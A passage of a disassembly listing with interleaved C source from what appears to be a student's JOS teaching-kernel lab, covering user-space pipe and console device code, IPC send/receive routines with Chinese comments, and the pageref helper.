stat->st_dev = &devpipe;
80203a: c7 83 88 00 00 00 28 movl $0x803028,0x88(%ebx)
802041: 30 80 00
return 0;
}
802044: b8 00 00 00 00 mov $0x0,%eax
802049: 8d 65 f8 lea -0x8(%ebp),%esp
80204c: 5b pop %ebx
80204d: 5e pop %esi
80204e: 5d pop %ebp
80204f: c3 ret
00802050 <devpipe_close>:
static int
devpipe_close(struct Fd *fd)
{
802050: 55 push %ebp
802051: 89 e5 mov %esp,%ebp
802053: 53 push %ebx
802054: 83 ec 0c sub $0xc,%esp
802057: 8b 5d 08 mov 0x8(%ebp),%ebx
(void) sys_page_unmap(0, fd);
80205a: 53 push %ebx
80205b: 6a 00 push $0x0
80205d: e8 04 ed ff ff call 800d66 <sys_page_unmap>
return sys_page_unmap(0, fd2data(fd));
802062: 89 1c 24 mov %ebx,(%esp)
802065: e8 6e f7 ff ff call 8017d8 <fd2data>
80206a: 83 c4 08 add $0x8,%esp
80206d: 50 push %eax
80206e: 6a 00 push $0x0
802070: e8 f1 ec ff ff call 800d66 <sys_page_unmap>
}
802075: 8b 5d fc mov -0x4(%ebp),%ebx
802078: c9 leave
802079: c3 ret
0080207a <_pipeisclosed>:
{
80207a: 55 push %ebp
80207b: 89 e5 mov %esp,%ebp
80207d: 57 push %edi
80207e: 56 push %esi
80207f: 53 push %ebx
802080: 83 ec 1c sub $0x1c,%esp
802083: 89 c7 mov %eax,%edi
802085: 89 d6 mov %edx,%esi
n = thisenv->env_runs;
802087: a1 04 40 80 00 mov 0x804004,%eax
80208c: 8b 58 58 mov 0x58(%eax),%ebx
ret = pageref(fd) == pageref(p);
80208f: 83 ec 0c sub $0xc,%esp
802092: 57 push %edi
802093: e8 2a 05 00 00 call 8025c2 <pageref>
802098: 89 45 e4 mov %eax,-0x1c(%ebp)
80209b: 89 34 24 mov %esi,(%esp)
80209e: e8 1f 05 00 00 call 8025c2 <pageref>
nn = thisenv->env_runs;
8020a3: 8b 15 04 40 80 00 mov 0x804004,%edx
8020a9: 8b 4a 58 mov 0x58(%edx),%ecx
if (n == nn)
8020ac: 83 c4 10 add $0x10,%esp
8020af: 39 cb cmp %ecx,%ebx
8020b1: 74 1b je 8020ce <_pipeisclosed+0x54>
if (n != nn && ret == 1)
8020b3: 39 45 e4 cmp %eax,-0x1c(%ebp)
8020b6: 75 cf jne 802087 <_pipeisclosed+0xd>
cprintf("pipe race avoided\n", n, thisenv->env_runs, ret);
8020b8: 8b 42 58 mov 0x58(%edx),%eax
8020bb: 6a 01 push $0x1
8020bd: 50 push %eax
8020be: 53 push %ebx
8020bf: 68 75 2e 80 00 push $0x802e75
8020c4: e8 00 e2 ff ff call 8002c9 <cprintf>
8020c9: 83 c4 10 add $0x10,%esp
8020cc: eb b9 jmp 802087 <_pipeisclosed+0xd>
ret = pageref(fd) == pageref(p);
8020ce: 39 45 e4 cmp %eax,-0x1c(%ebp)
8020d1: 0f 94 c0 sete %al
8020d4: 0f b6 c0 movzbl %al,%eax
}
8020d7: 8d 65 f4 lea -0xc(%ebp),%esp
8020da: 5b pop %ebx
8020db: 5e pop %esi
8020dc: 5f pop %edi
8020dd: 5d pop %ebp
8020de: c3 ret
008020df <devpipe_write>:
{
8020df: 55 push %ebp
8020e0: 89 e5 mov %esp,%ebp
8020e2: 57 push %edi
8020e3: 56 push %esi
8020e4: 53 push %ebx
8020e5: 83 ec 28 sub $0x28,%esp
8020e8: 8b 75 08 mov 0x8(%ebp),%esi
p = (struct Pipe*) fd2data(fd);
8020eb: 56 push %esi
8020ec: e8 e7 f6 ff ff call 8017d8 <fd2data>
8020f1: 89 c3 mov %eax,%ebx
for (i = 0; i < n; i++) {
8020f3: 83 c4 10 add $0x10,%esp
8020f6: bf 00 00 00 00 mov $0x0,%edi
8020fb: 3b 7d 10 cmp 0x10(%ebp),%edi
8020fe: 74 4f je 80214f <devpipe_write+0x70>
while (p->p_wpos >= p->p_rpos + sizeof(p->p_buf)) {
802100: 8b 43 04 mov 0x4(%ebx),%eax
802103: 8b 0b mov (%ebx),%ecx
802105: 8d 51 20 lea 0x20(%ecx),%edx
802108: 39 d0 cmp %edx,%eax
80210a: 72 14 jb 802120 <devpipe_write+0x41>
if (_pipeisclosed(fd, p))
80210c: 89 da mov %ebx,%edx
80210e: 89 f0 mov %esi,%eax
802110: e8 65 ff ff ff call 80207a <_pipeisclosed>
802115: 85 c0 test %eax,%eax
802117: 75 3a jne 802153 <devpipe_write+0x74>
sys_yield();
802119: e8 a4 eb ff ff call 800cc2 <sys_yield>
80211e: eb e0 jmp 802100 <devpipe_write+0x21>
p->p_buf[p->p_wpos % PIPEBUFSIZ] = buf[i];
802120: 8b 4d 0c mov 0xc(%ebp),%ecx
802123: 0f b6 0c 39 movzbl (%ecx,%edi,1),%ecx
802127: 88 4d e7 mov %cl,-0x19(%ebp)
80212a: 89 c2 mov %eax,%edx
80212c: c1 fa 1f sar $0x1f,%edx
80212f: 89 d1 mov %edx,%ecx
802131: c1 e9 1b shr $0x1b,%ecx
802134: 8d 14 08 lea (%eax,%ecx,1),%edx
802137: 83 e2 1f and $0x1f,%edx
80213a: 29 ca sub %ecx,%edx
80213c: 0f b6 4d e7 movzbl -0x19(%ebp),%ecx
802140: 88 4c 13 08 mov %cl,0x8(%ebx,%edx,1)
p->p_wpos++;
802144: 83 c0 01 add $0x1,%eax
802147: 89 43 04 mov %eax,0x4(%ebx)
for (i = 0; i < n; i++) {
80214a: 83 c7 01 add $0x1,%edi
80214d: eb ac jmp 8020fb <devpipe_write+0x1c>
return i;
80214f: 89 f8 mov %edi,%eax
802151: eb 05 jmp 802158 <devpipe_write+0x79>
return 0;
802153: b8 00 00 00 00 mov $0x0,%eax
}
802158: 8d 65 f4 lea -0xc(%ebp),%esp
80215b: 5b pop %ebx
80215c: 5e pop %esi
80215d: 5f pop %edi
80215e: 5d pop %ebp
80215f: c3 ret
00802160 <devpipe_read>:
{
802160: 55 push %ebp
802161: 89 e5 mov %esp,%ebp
802163: 57 push %edi
802164: 56 push %esi
802165: 53 push %ebx
802166: 83 ec 18 sub $0x18,%esp
802169: 8b 7d 08 mov 0x8(%ebp),%edi
p = (struct Pipe*)fd2data(fd);
80216c: 57 push %edi
80216d: e8 66 f6 ff ff call 8017d8 <fd2data>
802172: 89 c3 mov %eax,%ebx
for (i = 0; i < n; i++) {
802174: 83 c4 10 add $0x10,%esp
802177: be 00 00 00 00 mov $0x0,%esi
80217c: 3b 75 10 cmp 0x10(%ebp),%esi
80217f: 74 47 je 8021c8 <devpipe_read+0x68>
while (p->p_rpos == p->p_wpos) {
802181: 8b 03 mov (%ebx),%eax
802183: 3b 43 04 cmp 0x4(%ebx),%eax
802186: 75 22 jne 8021aa <devpipe_read+0x4a>
if (i > 0)
802188: 85 f6 test %esi,%esi
80218a: 75 14 jne 8021a0 <devpipe_read+0x40>
if (_pipeisclosed(fd, p))
80218c: 89 da mov %ebx,%edx
80218e: 89 f8 mov %edi,%eax
802190: e8 e5 fe ff ff call 80207a <_pipeisclosed>
802195: 85 c0 test %eax,%eax
802197: 75 33 jne 8021cc <devpipe_read+0x6c>
sys_yield();
802199: e8 24 eb ff ff call 800cc2 <sys_yield>
80219e: eb e1 jmp 802181 <devpipe_read+0x21>
return i;
8021a0: 89 f0 mov %esi,%eax
}
8021a2: 8d 65 f4 lea -0xc(%ebp),%esp
8021a5: 5b pop %ebx
8021a6: 5e pop %esi
8021a7: 5f pop %edi
8021a8: 5d pop %ebp
8021a9: c3 ret
buf[i] = p->p_buf[p->p_rpos % PIPEBUFSIZ];
8021aa: 99 cltd
8021ab: c1 ea 1b shr $0x1b,%edx
8021ae: 01 d0 add %edx,%eax
8021b0: 83 e0 1f and $0x1f,%eax
8021b3: 29 d0 sub %edx,%eax
8021b5: 0f b6 44 03 08 movzbl 0x8(%ebx,%eax,1),%eax
8021ba: 8b 4d 0c mov 0xc(%ebp),%ecx
8021bd: 88 04 31 mov %al,(%ecx,%esi,1)
p->p_rpos++;
8021c0: 83 03 01 addl $0x1,(%ebx)
for (i = 0; i < n; i++) {
8021c3: 83 c6 01 add $0x1,%esi
8021c6: eb b4 jmp 80217c <devpipe_read+0x1c>
return i;
8021c8: 89 f0 mov %esi,%eax
8021ca: eb d6 jmp 8021a2 <devpipe_read+0x42>
return 0;
8021cc: b8 00 00 00 00 mov $0x0,%eax
8021d1: eb cf jmp 8021a2 <devpipe_read+0x42>
008021d3 <pipe>:
{
8021d3: 55 push %ebp
8021d4: 89 e5 mov %esp,%ebp
8021d6: 56 push %esi
8021d7: 53 push %ebx
8021d8: 83 ec 1c sub $0x1c,%esp
if ((r = fd_alloc(&fd0)) < 0
8021db: 8d 45 f4 lea -0xc(%ebp),%eax
8021de: 50 push %eax
8021df: e8 0b f6 ff ff call 8017ef <fd_alloc>
8021e4: 89 c3 mov %eax,%ebx
8021e6: 83 c4 10 add $0x10,%esp
8021e9: 85 c0 test %eax,%eax
8021eb: 78 5b js 802248 <pipe+0x75>
|| (r = sys_page_alloc(0, fd0, PTE_P|PTE_W|PTE_U|PTE_SHARE)) < 0)
8021ed: 83 ec 04 sub $0x4,%esp
8021f0: 68 07 04 00 00 push $0x407
8021f5: ff 75 f4 pushl -0xc(%ebp)
8021f8: 6a 00 push $0x0
8021fa: e8 e2 ea ff ff call 800ce1 <sys_page_alloc>
8021ff: 89 c3 mov %eax,%ebx
802201: 83 c4 10 add $0x10,%esp
802204: 85 c0 test %eax,%eax
802206: 78 40 js 802248 <pipe+0x75>
if ((r = fd_alloc(&fd1)) < 0
802208: 83 ec 0c sub $0xc,%esp
80220b: 8d 45 f0 lea -0x10(%ebp),%eax
80220e: 50 push %eax
80220f: e8 db f5 ff ff call 8017ef <fd_alloc>
802214: 89 c3 mov %eax,%ebx
802216: 83 c4 10 add $0x10,%esp
802219: 85 c0 test %eax,%eax
80221b: 78 1b js 802238 <pipe+0x65>
|| (r = sys_page_alloc(0, fd1, PTE_P|PTE_W|PTE_U|PTE_SHARE)) < 0)
80221d: 83 ec 04 sub $0x4,%esp
802220: 68 07 04 00 00 push $0x407
802225: ff 75 f0 pushl -0x10(%ebp)
802228: 6a 00 push $0x0
80222a: e8 b2 ea ff ff call 800ce1 <sys_page_alloc>
80222f: 89 c3 mov %eax,%ebx
802231: 83 c4 10 add $0x10,%esp
802234: 85 c0 test %eax,%eax
802236: 79 19 jns 802251 <pipe+0x7e>
sys_page_unmap(0, fd0);
802238: 83 ec 08 sub $0x8,%esp
80223b: ff 75 f4 pushl -0xc(%ebp)
80223e: 6a 00 push $0x0
802240: e8 21 eb ff ff call 800d66 <sys_page_unmap>
802245: 83 c4 10 add $0x10,%esp
}
802248: 89 d8 mov %ebx,%eax
80224a: 8d 65 f8 lea -0x8(%ebp),%esp
80224d: 5b pop %ebx
80224e: 5e pop %esi
80224f: 5d pop %ebp
802250: c3 ret
va = fd2data(fd0);
802251: 83 ec 0c sub $0xc,%esp
802254: ff 75 f4 pushl -0xc(%ebp)
802257: e8 7c f5 ff ff call 8017d8 <fd2data>
80225c: 89 c6 mov %eax,%esi
if ((r = sys_page_alloc(0, va, PTE_P|PTE_W|PTE_U|PTE_SHARE)) < 0)
80225e: 83 c4 0c add $0xc,%esp
802261: 68 07 04 00 00 push $0x407
802266: 50 push %eax
802267: 6a 00 push $0x0
802269: e8 73 ea ff ff call 800ce1 <sys_page_alloc>
80226e: 89 c3 mov %eax,%ebx
802270: 83 c4 10 add $0x10,%esp
802273: 85 c0 test %eax,%eax
802275: 0f 88 8c 00 00 00 js 802307 <pipe+0x134>
if ((r = sys_page_map(0, va, 0, fd2data(fd1), PTE_P|PTE_W|PTE_U|PTE_SHARE)) < 0)
80227b: 83 ec 0c sub $0xc,%esp
80227e: ff 75 f0 pushl -0x10(%ebp)
802281: e8 52 f5 ff ff call 8017d8 <fd2data>
802286: c7 04 24 07 04 00 00 movl $0x407,(%esp)
80228d: 50 push %eax
80228e: 6a 00 push $0x0
802290: 56 push %esi
802291: 6a 00 push $0x0
802293: e8 8c ea ff ff call 800d24 <sys_page_map>
802298: 89 c3 mov %eax,%ebx
80229a: 83 c4 20 add $0x20,%esp
80229d: 85 c0 test %eax,%eax
80229f: 78 58 js 8022f9 <pipe+0x126>
fd0->fd_dev_id = devpipe.dev_id;
8022a1: 8b 45 f4 mov -0xc(%ebp),%eax
8022a4: 8b 15 28 30 80 00 mov 0x803028,%edx
8022aa: 89 10 mov %edx,(%eax)
fd0->fd_omode = O_RDONLY;
8022ac: 8b 45 f4 mov -0xc(%ebp),%eax
8022af: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
fd1->fd_dev_id = devpipe.dev_id;
8022b6: 8b 45 f0 mov -0x10(%ebp),%eax
8022b9: 8b 15 28 30 80 00 mov 0x803028,%edx
8022bf: 89 10 mov %edx,(%eax)
fd1->fd_omode = O_WRONLY;
8022c1: 8b 45 f0 mov -0x10(%ebp),%eax
8022c4: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax)
pfd[0] = fd2num(fd0);
8022cb: 83 ec 0c sub $0xc,%esp
8022ce: ff 75 f4 pushl -0xc(%ebp)
8022d1: e8 f2 f4 ff ff call 8017c8 <fd2num>
8022d6: 8b 4d 08 mov 0x8(%ebp),%ecx
8022d9: 89 01 mov %eax,(%ecx)
pfd[1] = fd2num(fd1);
8022db: 83 c4 04 add $0x4,%esp
8022de: ff 75 f0 pushl -0x10(%ebp)
8022e1: e8 e2 f4 ff ff call 8017c8 <fd2num>
8022e6: 8b 4d 08 mov 0x8(%ebp),%ecx
8022e9: 89 41 04 mov %eax,0x4(%ecx)
return 0;
8022ec: 83 c4 10 add $0x10,%esp
8022ef: bb 00 00 00 00 mov $0x0,%ebx
8022f4: e9 4f ff ff ff jmp 802248 <pipe+0x75>
sys_page_unmap(0, va);
8022f9: 83 ec 08 sub $0x8,%esp
8022fc: 56 push %esi
8022fd: 6a 00 push $0x0
8022ff: e8 62 ea ff ff call 800d66 <sys_page_unmap>
802304: 83 c4 10 add $0x10,%esp
sys_page_unmap(0, fd1);
802307: 83 ec 08 sub $0x8,%esp
80230a: ff 75 f0 pushl -0x10(%ebp)
80230d: 6a 00 push $0x0
80230f: e8 52 ea ff ff call 800d66 <sys_page_unmap>
802314: 83 c4 10 add $0x10,%esp
802317: e9 1c ff ff ff jmp 802238 <pipe+0x65>
0080231c <pipeisclosed>:
{
80231c: 55 push %ebp
80231d: 89 e5 mov %esp,%ebp
80231f: 83 ec 20 sub $0x20,%esp
if ((r = fd_lookup(fdnum, &fd)) < 0)
802322: 8d 45 f4 lea -0xc(%ebp),%eax
802325: 50 push %eax
802326: ff 75 08 pushl 0x8(%ebp)
802329: e8 10 f5 ff ff call 80183e <fd_lookup>
80232e: 83 c4 10 add $0x10,%esp
802331: 85 c0 test %eax,%eax
802333: 78 18 js 80234d <pipeisclosed+0x31>
p = (struct Pipe*) fd2data(fd);
802335: 83 ec 0c sub $0xc,%esp
802338: ff 75 f4 pushl -0xc(%ebp)
80233b: e8 98 f4 ff ff call 8017d8 <fd2data>
return _pipeisclosed(fd, p);
802340: 89 c2 mov %eax,%edx
802342: 8b 45 f4 mov -0xc(%ebp),%eax
802345: e8 30 fd ff ff call 80207a <_pipeisclosed>
80234a: 83 c4 10 add $0x10,%esp
}
80234d: c9 leave
80234e: c3 ret
0080234f <devcons_close>:
return tot;
}
static int
devcons_close(struct Fd *fd)
{
80234f: 55 push %ebp
802350: 89 e5 mov %esp,%ebp
USED(fd);
return 0;
}
802352: b8 00 00 00 00 mov $0x0,%eax
802357: 5d pop %ebp
802358: c3 ret
00802359 <devcons_stat>:
static int
devcons_stat(struct Fd *fd, struct Stat *stat)
{
802359: 55 push %ebp
80235a: 89 e5 mov %esp,%ebp
80235c: 83 ec 10 sub $0x10,%esp
strcpy(stat->st_name, "<cons>");
80235f: 68 8d 2e 80 00 push $0x802e8d
802364: ff 75 0c pushl 0xc(%ebp)
802367: e8 7c e5 ff ff call 8008e8 <strcpy>
return 0;
}
80236c: b8 00 00 00 00 mov $0x0,%eax
802371: c9 leave
802372: c3 ret
00802373 <devcons_write>:
{
802373: 55 push %ebp
802374: 89 e5 mov %esp,%ebp
802376: 57 push %edi
802377: 56 push %esi
802378: 53 push %ebx
802379: 81 ec 8c 00 00 00 sub $0x8c,%esp
for (tot = 0; tot < n; tot += m) {
80237f: be 00 00 00 00 mov $0x0,%esi
memmove(buf, (char*)vbuf + tot, m);
802384: 8d bd 68 ff ff ff lea -0x98(%ebp),%edi
for (tot = 0; tot < n; tot += m) {
80238a: eb 2f jmp 8023bb <devcons_write+0x48>
m = n - tot;
80238c: 8b 5d 10 mov 0x10(%ebp),%ebx
80238f: 29 f3 sub %esi,%ebx
802391: 83 fb 7f cmp $0x7f,%ebx
802394: b8 7f 00 00 00 mov $0x7f,%eax
802399: 0f 47 d8 cmova %eax,%ebx
memmove(buf, (char*)vbuf + tot, m);
80239c: 83 ec 04 sub $0x4,%esp
80239f: 53 push %ebx
8023a0: 89 f0 mov %esi,%eax
8023a2: 03 45 0c add 0xc(%ebp),%eax
8023a5: 50 push %eax
8023a6: 57 push %edi
8023a7: e8 ca e6 ff ff call 800a76 <memmove>
sys_cputs(buf, m);
8023ac: 83 c4 08 add $0x8,%esp
8023af: 53 push %ebx
8023b0: 57 push %edi
8023b1: e8 6f e8 ff ff call 800c25 <sys_cputs>
for (tot = 0; tot < n; tot += m) {
8023b6: 01 de add %ebx,%esi
8023b8: 83 c4 10 add $0x10,%esp
8023bb: 3b 75 10 cmp 0x10(%ebp),%esi
8023be: 72 cc jb 80238c <devcons_write+0x19>
}
8023c0: 89 f0 mov %esi,%eax
8023c2: 8d 65 f4 lea -0xc(%ebp),%esp
8023c5: 5b pop %ebx
8023c6: 5e pop %esi
8023c7: 5f pop %edi
8023c8: 5d pop %ebp
8023c9: c3 ret
008023ca <devcons_read>:
{
8023ca: 55 push %ebp
8023cb: 89 e5 mov %esp,%ebp
8023cd: 83 ec 08 sub $0x8,%esp
8023d0: b8 00 00 00 00 mov $0x0,%eax
if (n == 0)
8023d5: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
8023d9: 75 07 jne 8023e2 <devcons_read+0x18>
}
8023db: c9 leave
8023dc: c3 ret
sys_yield();
8023dd: e8 e0 e8 ff ff call 800cc2 <sys_yield>
while ((c = sys_cgetc()) == 0)
8023e2: e8 5c e8 ff ff call 800c43 <sys_cgetc>
8023e7: 85 c0 test %eax,%eax
8023e9: 74 f2 je 8023dd <devcons_read+0x13>
if (c < 0)
8023eb: 85 c0 test %eax,%eax
8023ed: 78 ec js 8023db <devcons_read+0x11>
if (c == 0x04) // ctl-d is eof
8023ef: 83 f8 04 cmp $0x4,%eax
8023f2: 74 0c je 802400 <devcons_read+0x36>
*(char*)vbuf = c;
8023f4: 8b 55 0c mov 0xc(%ebp),%edx
8023f7: 88 02 mov %al,(%edx)
return 1;
8023f9: b8 01 00 00 00 mov $0x1,%eax
8023fe: eb db jmp 8023db <devcons_read+0x11>
return 0;
802400: b8 00 00 00 00 mov $0x0,%eax
802405: eb d4 jmp 8023db <devcons_read+0x11>
00802407 <cputchar>:
{
802407: 55 push %ebp
802408: 89 e5 mov %esp,%ebp
80240a: 83 ec 20 sub $0x20,%esp
char c = ch;
80240d: 8b 45 08 mov 0x8(%ebp),%eax
802410: 88 45 f7 mov %al,-0x9(%ebp)
sys_cputs(&c, 1);
802413: 6a 01 push $0x1
802415: 8d 45 f7 lea -0x9(%ebp),%eax
802418: 50 push %eax
802419: e8 07 e8 ff ff call 800c25 <sys_cputs>
}
80241e: 83 c4 10 add $0x10,%esp
802421: c9 leave
802422: c3 ret
00802423 <getchar>:
{
802423: 55 push %ebp
802424: 89 e5 mov %esp,%ebp
802426: 83 ec 1c sub $0x1c,%esp
r = read(0, &c, 1);
802429: 6a 01 push $0x1
80242b: 8d 45 f7 lea -0x9(%ebp),%eax
80242e: 50 push %eax
80242f: 6a 00 push $0x0
802431: e8 79 f6 ff ff call 801aaf <read>
if (r < 0)
802436: 83 c4 10 add $0x10,%esp
802439: 85 c0 test %eax,%eax
80243b: 78 08 js 802445 <getchar+0x22>
if (r < 1)
80243d: 85 c0 test %eax,%eax
80243f: 7e 06 jle 802447 <getchar+0x24>
return c;
802441: 0f b6 45 f7 movzbl -0x9(%ebp),%eax
}
802445: c9 leave
802446: c3 ret
return -E_EOF;
802447: b8 f8 ff ff ff mov $0xfffffff8,%eax
80244c: eb f7 jmp 802445 <getchar+0x22>
0080244e <iscons>:
{
80244e: 55 push %ebp
80244f: 89 e5 mov %esp,%ebp
802451: 83 ec 20 sub $0x20,%esp
if ((r = fd_lookup(fdnum, &fd)) < 0)
802454: 8d 45 f4 lea -0xc(%ebp),%eax
802457: 50 push %eax
802458: ff 75 08 pushl 0x8(%ebp)
80245b: e8 de f3 ff ff call 80183e <fd_lookup>
802460: 83 c4 10 add $0x10,%esp
802463: 85 c0 test %eax,%eax
802465: 78 11 js 802478 <iscons+0x2a>
return fd->fd_dev_id == devcons.dev_id;
802467: 8b 45 f4 mov -0xc(%ebp),%eax
80246a: 8b 15 44 30 80 00 mov 0x803044,%edx
802470: 39 10 cmp %edx,(%eax)
802472: 0f 94 c0 sete %al
802475: 0f b6 c0 movzbl %al,%eax
}
802478: c9 leave
802479: c3 ret
0080247a <opencons>:
{
80247a: 55 push %ebp
80247b: 89 e5 mov %esp,%ebp
80247d: 83 ec 24 sub $0x24,%esp
if ((r = fd_alloc(&fd)) < 0)
802480: 8d 45 f4 lea -0xc(%ebp),%eax
802483: 50 push %eax
802484: e8 66 f3 ff ff call 8017ef <fd_alloc>
802489: 83 c4 10 add $0x10,%esp
80248c: 85 c0 test %eax,%eax
80248e: 78 3a js 8024ca <opencons+0x50>
if ((r = sys_page_alloc(0, fd, PTE_P|PTE_U|PTE_W|PTE_SHARE)) < 0)
802490: 83 ec 04 sub $0x4,%esp
802493: 68 07 04 00 00 push $0x407
802498: ff 75 f4 pushl -0xc(%ebp)
80249b: 6a 00 push $0x0
80249d: e8 3f e8 ff ff call 800ce1 <sys_page_alloc>
8024a2: 83 c4 10 add $0x10,%esp
8024a5: 85 c0 test %eax,%eax
8024a7: 78 21 js 8024ca <opencons+0x50>
fd->fd_dev_id = devcons.dev_id;
8024a9: 8b 45 f4 mov -0xc(%ebp),%eax
8024ac: 8b 15 44 30 80 00 mov 0x803044,%edx
8024b2: 89 10 mov %edx,(%eax)
fd->fd_omode = O_RDWR;
8024b4: 8b 45 f4 mov -0xc(%ebp),%eax
8024b7: c7 40 08 02 00 00 00 movl $0x2,0x8(%eax)
return fd2num(fd);
8024be: 83 ec 0c sub $0xc,%esp
8024c1: 50 push %eax
8024c2: e8 01 f3 ff ff call 8017c8 <fd2num>
8024c7: 83 c4 10 add $0x10,%esp
}
8024ca: c9 leave
8024cb: c3 ret
008024cc <ipc_recv>:
// If 'pg' is null, pass sys_ipc_recv a value that it will understand
// as meaning "no page". (Zero is not the right value, since that's
// a perfectly valid place to map a page.)
int32_t
ipc_recv(envid_t *from_env_store, void *pg, int *perm_store)
{
8024cc: 55 push %ebp
8024cd: 89 e5 mov %esp,%ebp
8024cf: 56 push %esi
8024d0: 53 push %ebx
8024d1: 8b 75 08 mov 0x8(%ebp),%esi
8024d4: 8b 45 0c mov 0xc(%ebp),%eax
8024d7: 8b 5d 10 mov 0x10(%ebp),%ebx
// LAB 4: Your code here.
if (pg == NULL) {
8024da: 85 c0 test %eax,%eax
pg = (void *)-1;
8024dc: ba ff ff ff ff mov $0xffffffff,%edx
8024e1: 0f 44 c2 cmove %edx,%eax
}
int r = sys_ipc_recv(pg);
8024e4: 83 ec 0c sub $0xc,%esp
8024e7: 50 push %eax
8024e8: e8 a4 e9 ff ff call 800e91 <sys_ipc_recv>
if (r < 0) { //系统调用失败
8024ed: 83 c4 10 add $0x10,%esp
8024f0: 85 c0 test %eax,%eax
8024f2: 78 2b js 80251f <ipc_recv+0x53>
if (from_env_store) *from_env_store = 0;
if (perm_store) *perm_store = 0;
return r;
}
if (from_env_store)
8024f4: 85 f6 test %esi,%esi
8024f6: 74 0a je 802502 <ipc_recv+0x36>
*from_env_store = thisenv->env_ipc_from;
8024f8: a1 04 40 80 00 mov 0x804004,%eax
8024fd: 8b 40 74 mov 0x74(%eax),%eax
802500: 89 06 mov %eax,(%esi)
if (perm_store)
802502: 85 db test %ebx,%ebx
802504: 74 0a je 802510 <ipc_recv+0x44>
*perm_store = thisenv->env_ipc_perm;
802506: a1 04 40 80 00 mov 0x804004,%eax
80250b: 8b 40 78 mov 0x78(%eax),%eax
80250e: 89 03 mov %eax,(%ebx)
return thisenv->env_ipc_value;
802510: a1 04 40 80 00 mov 0x804004,%eax
802515: 8b 40 70 mov 0x70(%eax),%eax
}
802518: 8d 65 f8 lea -0x8(%ebp),%esp
80251b: 5b pop %ebx
80251c: 5e pop %esi
80251d: 5d pop %ebp
80251e: c3 ret
if (from_env_store) *from_env_store = 0;
80251f: 85 f6 test %esi,%esi
802521: 74 06 je 802529 <ipc_recv+0x5d>
802523: c7 06 00 00 00 00 movl $0x0,(%esi)
if (perm_store) *perm_store = 0;
802529: 85 db test %ebx,%ebx
80252b: 74 eb je 802518 <ipc_recv+0x4c>
80252d: c7 03 00 00 00 00 movl $0x0,(%ebx)
802533: eb e3 jmp 802518 <ipc_recv+0x4c>
00802535 <ipc_send>:
// Use sys_yield() to be CPU-friendly.
// If 'pg' is null, pass sys_ipc_try_send a value that it will understand
// as meaning "no page". (Zero is not the right value.)
void
ipc_send(envid_t to_env, uint32_t val, void *pg, int perm)
{
802535: 55 push %ebp
802536: 89 e5 mov %esp,%ebp
802538: 57 push %edi
802539: 56 push %esi
80253a: 53 push %ebx
80253b: 83 ec 0c sub $0xc,%esp
80253e: 8b 7d 08 mov 0x8(%ebp),%edi
802541: 8b 75 0c mov 0xc(%ebp),%esi
802544: 8b 5d 10 mov 0x10(%ebp),%ebx
// LAB 4: Your code here.
if (pg == NULL) {
802547: 85 db test %ebx,%ebx
pg = (void *)-1;
802549: b8 ff ff ff ff mov $0xffffffff,%eax
80254e: 0f 44 d8 cmove %eax,%ebx
}
int r;
while(1) {
r = sys_ipc_try_send(to_env, val, pg, perm);
802551: ff 75 14 pushl 0x14(%ebp)
802554: 53 push %ebx
802555: 56 push %esi
802556: 57 push %edi
802557: e8 12 e9 ff ff call 800e6e <sys_ipc_try_send>
if (r == 0) { //发送成功
80255c: 83 c4 10 add $0x10,%esp
80255f: 85 c0 test %eax,%eax
802561: 74 1e je 802581 <ipc_send+0x4c>
return;
} else if (r == -E_IPC_NOT_RECV) { //接收进程没有准备好
802563: 83 f8 f9 cmp $0xfffffff9,%eax
802566: 75 07 jne 80256f <ipc_send+0x3a>
sys_yield();
802568: e8 55 e7 ff ff call 800cc2 <sys_yield>
r = sys_ipc_try_send(to_env, val, pg, perm);
80256d: eb e2 jmp 802551 <ipc_send+0x1c>
} else { //其它错误
panic("ipc_send():%e", r);
80256f: 50 push %eax
802570: 68 99 2e 80 00 push $0x802e99
802575: 6a 41 push $0x41
802577: 68 a7 2e 80 00 push $0x802ea7
80257c: e8 6d dc ff ff call 8001ee <_panic>
}
}
}
802581: 8d 65 f4 lea -0xc(%ebp),%esp
802584: 5b pop %ebx
802585: 5e pop %esi
802586: 5f pop %edi
802587: 5d pop %ebp
802588: c3 ret
00802589 <ipc_find_env>:
// Find the first environment of the given type. We'll use this to
// find special environments.
// Returns 0 if no such environment exists.
envid_t
ipc_find_env(enum EnvType type)
{
802589: 55 push %ebp
80258a: 89 e5 mov %esp,%ebp
80258c: 8b 4d 08 mov 0x8(%ebp),%ecx
int i;
for (i = 0; i < NENV; i++)
80258f: b8 00 00 00 00 mov $0x0,%eax
if (envs[i].env_type == type)
802594: 6b d0 7c imul $0x7c,%eax,%edx
802597: 81 c2 00 00 c0 ee add $0xeec00000,%edx
80259d: 8b 52 50 mov 0x50(%edx),%edx
8025a0: 39 ca cmp %ecx,%edx
8025a2: 74 11 je 8025b5 <ipc_find_env+0x2c>
for (i = 0; i < NENV; i++)
8025a4: 83 c0 01 add $0x1,%eax
8025a7: 3d 00 04 00 00 cmp $0x400,%eax
8025ac: 75 e6 jne 802594 <ipc_find_env+0xb>
return envs[i].env_id;
return 0;
8025ae: b8 00 00 00 00 mov $0x0,%eax
8025b3: eb 0b jmp 8025c0 <ipc_find_env+0x37>
return envs[i].env_id;
8025b5: 6b c0 7c imul $0x7c,%eax,%eax
8025b8: 05 00 00 c0 ee add $0xeec00000,%eax
8025bd: 8b 40 48 mov 0x48(%eax),%eax
}
8025c0: 5d pop %ebp
8025c1: c3 ret
008025c2 <pageref>:
#include <inc/lib.h>
int
pageref(void *v)
{
8025c2: 55 push %ebp
8025c3: 89 e5 mov %esp,%ebp
8025c5: 8b 55 08 mov 0x8(%ebp),%edx
pte_t pte;
if (!(uvpd[PDX(v)] & PTE_P))
8025c8: 89 d0 mov %edx,%eax
8025ca: c1 e8 16 shr $0x16,%eax
8025cd: 8b 0c 85 00 d0 7b ef mov -0x10843000(,%eax,4),%ecx
return 0;
8025d4: b8 00 00 00 00 mov $0x0,%eax
if (!(uvpd[PDX(v)] & PTE_P))
8025d9: f6 c1 01 test $0x1,%cl
8025dc: 74 1d je 8025fb <pageref+0x39>
pte = uvpt[PGNUM(v)];
8025de: c1 ea 0c shr $0xc,%edx
8025e1: 8b 14 95 00 00 40 ef mov -0x10c00000(,%edx,4),%edx
if (!(pte & PTE_P))
8025e8: f6 c2 01 test $0x1,%dl
8025eb: 74 0e je 8025fb <pageref+0x39>
return 0;
return pages[PGNUM(pte)].pp_ref;
8025ed: c1 ea 0c shr $0xc,%edx
